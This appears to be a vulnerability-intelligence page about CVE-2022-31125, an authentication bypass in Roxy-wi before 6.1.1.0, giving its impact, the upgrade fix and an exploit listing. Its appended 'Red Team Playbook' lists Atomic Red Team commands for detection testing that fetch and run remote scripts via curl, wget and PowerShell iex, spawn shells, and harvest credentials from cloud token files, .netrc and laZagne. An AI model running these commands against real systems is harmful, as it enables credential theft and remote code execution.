CVE-2022-31125
Overview
This vulnerability is an authentication bypass in the Roxy-wi web interface component responsible for managing server configurations. The root cause lies in improper authentication checks within HTTP request handling, allowing crafted requests to circumvent access control mechanisms. The affected component is the administrative interface of Roxy-wi versions prior to 6.1.1.0, which fails to validate user credentials properly before granting access to privileged functionality.
Vulnerability Description
Roxy-wi is an open source web interface for managing Haproxy, Nginx, Apache and Keepalived servers. A vulnerability in Roxy-wi allows a remote, unauthenticated attacker to bypass authentication and access admin functionality by sending a specially crafted HTTP request. This affects Roxywi versions before 6.1.1.0. Users are advised to upgrade. There are no known workarounds for this issue.
Impact
An unauthenticated remote attacker can exploit this flaw to gain full administrative access to the Roxy-wi management interface, enabling unauthorized configuration changes across managed servers. No prior authentication or user interaction is required, and the attack can be executed remotely over the network. This compromises confidentiality, integrity, and availability of server configurations, potentially leading to service disruption or further network compromise. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms this vulnerability requires no privileges or user interaction and is exploitable remotely.
Solution
Users should upgrade Roxy-wi to version 6.1.1.0 or later, as detailed in the official GitHub security advisory GHSA-hr76-3hxp-5mm3 (https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-hr76-3hxp-5mm3). No workarounds are available. Applying this update ensures proper authentication enforcement on administrative endpoints and mitigates the bypass. Administrators must follow the vendor's patch instructions precisely to secure affected deployments.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Roxy-wi presents a significant security concern due to its ability to allow remote, unauthenticated attackers to bypass authentication mechanisms. This flaw arises from improper handling of HTTP requests, enabling an attacker to craft specific requests that can exploit the web interface's authentication process. The affected versions of Roxy-wi, prior to 6.1.1.0, lack adequate validation of incoming requests, which can lead to unauthorized access to administrative functionalities. This vulnerability underscores the importance of robust input validation and authentication protocols in web applications, particularly those managing critical infrastructure components like HAProxy, Nginx, Apache, and Keepalived.
The attack vector for this vulnerability is primarily through the web interface of Roxy-wi. An attacker can leverage tools to send specially crafted HTTP requests that manipulate the application's expected behavior. By exploiting this flaw, an attacker can gain administrative privileges without needing valid credentials, allowing them to modify configurations, access sensitive data, or disrupt service. Scenarios could include an attacker gaining control over load balancers or web servers, leading to potential data breaches or service outages. The simplicity of this attack—requiring only the ability to send HTTP requests—makes it particularly concerning for organizations that may not have stringent network security measures in place.
The real-world impact of this vulnerability can be profound, especially for businesses that rely on Roxy-wi for managing their web server infrastructure. Unauthorized access to administrative functionalities can lead to a range of malicious activities, including data theft, service disruption, or even the deployment of malware. The business risks associated with such incidents are multifaceted; they include financial losses from downtime, reputational damage, and potential legal ramifications stemming from data breaches. Organizations may also face increased scrutiny from regulators and stakeholders, particularly if sensitive customer data is compromised.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the latest version of Roxy-wi, which addresses this security flaw. Regularly applying security patches and updates is a fundamental aspect of maintaining a secure environment. Additionally, implementing network segmentation can help limit the exposure of the Roxy-wi interface to the public internet, reducing the attack surface. Monitoring web traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Employing web application firewalls (WAFs) can provide an additional layer of security by filtering and monitoring HTTP traffic, helping to block malicious requests before they reach the vulnerable application.
In conclusion, the vulnerability in Roxy-wi exemplifies the critical need for secure coding practices and proactive security measures in web applications. Organizations must remain vigilant in their security posture, ensuring that they not only apply updates promptly but also implement comprehensive monitoring and defensive strategies to safeguard their infrastructure. The potential consequences of such vulnerabilities highlight the necessity for continuous security awareness and risk management in an increasingly interconnected digital landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Roxy-Wi | Roxy-Wi | All |
cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Roxy WI v6.1.0.0 - Improper Authentication Control | Nuri Çilengir | webapps | python | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-31125 |
| github.com |
GitHub CVE
|
https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-hr76-3hxp-5mm3 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/171648/Roxy-WI-6.1.0.0-Improper-Authentication-Control.html |